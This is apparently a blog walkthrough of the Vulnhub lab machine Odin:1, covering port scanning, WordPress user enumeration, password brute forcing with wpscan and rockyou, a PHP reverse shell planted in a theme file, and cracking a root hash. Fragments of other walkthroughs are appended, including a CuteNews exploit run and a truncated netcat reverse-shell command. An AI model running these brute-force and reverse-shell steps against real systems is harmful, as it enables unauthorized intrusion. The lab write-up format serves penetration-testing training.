Odin:1 - Walkthrough [Vulnhub]

Here's  my solution for Odin:1.
The machine can be downloaded from here.

Service Discovery
Using nmap to scan all TCP ports.
$ nmap -sC -sV -p- 192.168.1.106



We find only 1 port open.

Enumeration
We map ip to host by editing the /etc/hosts file.



Lets browse the web.



We find that the web in built on CMS - Wordpress.

Scrolling down, we see some base32 encoded text.

 

 We can browse CyberChef to decode it.


 
This seems like a hint-  To use rockyou wordlist.

We run wp-scan to enumerate all plugins and users.
$ wp-scan --url http://odin -e ap,u

No plugins were found but we found a user- odin.
When we try to manually verify the user- odin, it says- unknown username.



Now we enter a default user name - admin and a random password. After reading the error we confirm that the user- admin exits.



Since we do not have the password for the user. We user wpscan to brute force the password.
$ wpscan --url http://odin/ -U admin -P /usr/share/wordlists/rockyou.txt



We get the password as- qwerty

Lets login the credentials.
Username: admin
Password: qwerty



We navigate to Appearance > Theme Editor and select the theme file as 404.php.
We edit the 404.php file and place the php reverse shell payload in it.


Initial Access
To run the exploit we browse http://odin/wp-content/themes/twentytwenty/404.php
And on the other hand we start the net cat listener.


We get the shell.



Privilege Escalation
We find a file- wp-config.php under /var/www/html directory which contains root user's password hash.






We copy the hash to a file.
Lets run john against the hash.




We get the password as- jasmine

Switching to root.
$ su root
Password: jasmine

Root Flag.

While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group.

Here's my solution for BBS(cute):1.0.1. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.111 We find 5 ports open. Enumeration Browsing the web hosted on port 80 (Default HTTP Port). We do not find any useful information lets run the dirb for scanning directories. $ dirb http://192.168.1.111 -r Browsing /index.php We see that it is built on CMS- CuteNews and its version 2.1.2 We search for the exploit and found it here.   Lets get this exploit. Getting Access But before running the exploit we need to make some changes. We remove all /CuteNews from the exploit code, in order to run it successfully. Done with the changes, now we run the exploit. $ python3 48800.py We provide the required information that is, the URL and hit enter. The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19
